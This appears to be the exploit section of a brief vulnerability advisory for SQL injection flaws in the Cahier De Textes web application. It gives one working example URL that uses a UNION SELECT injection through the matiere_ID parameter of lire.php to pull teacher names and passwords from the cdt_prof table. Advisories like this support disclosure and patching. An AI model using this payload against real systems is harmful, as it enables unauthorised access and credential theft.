• info
• discussion
• exploit
• solution
• references

Cahier De Textes SQL Injection Vulnerabilities

Attackers can exploit these issues via a web client.

The following example was provided:
http://www.example.com/PATH/lire.php?classe_ID=1&matiere_ID=-1+union%20select%201,CONCAT(nom_prof,CHAR(58),CHAR(58),passe)%20FROM%20cdt_prof/*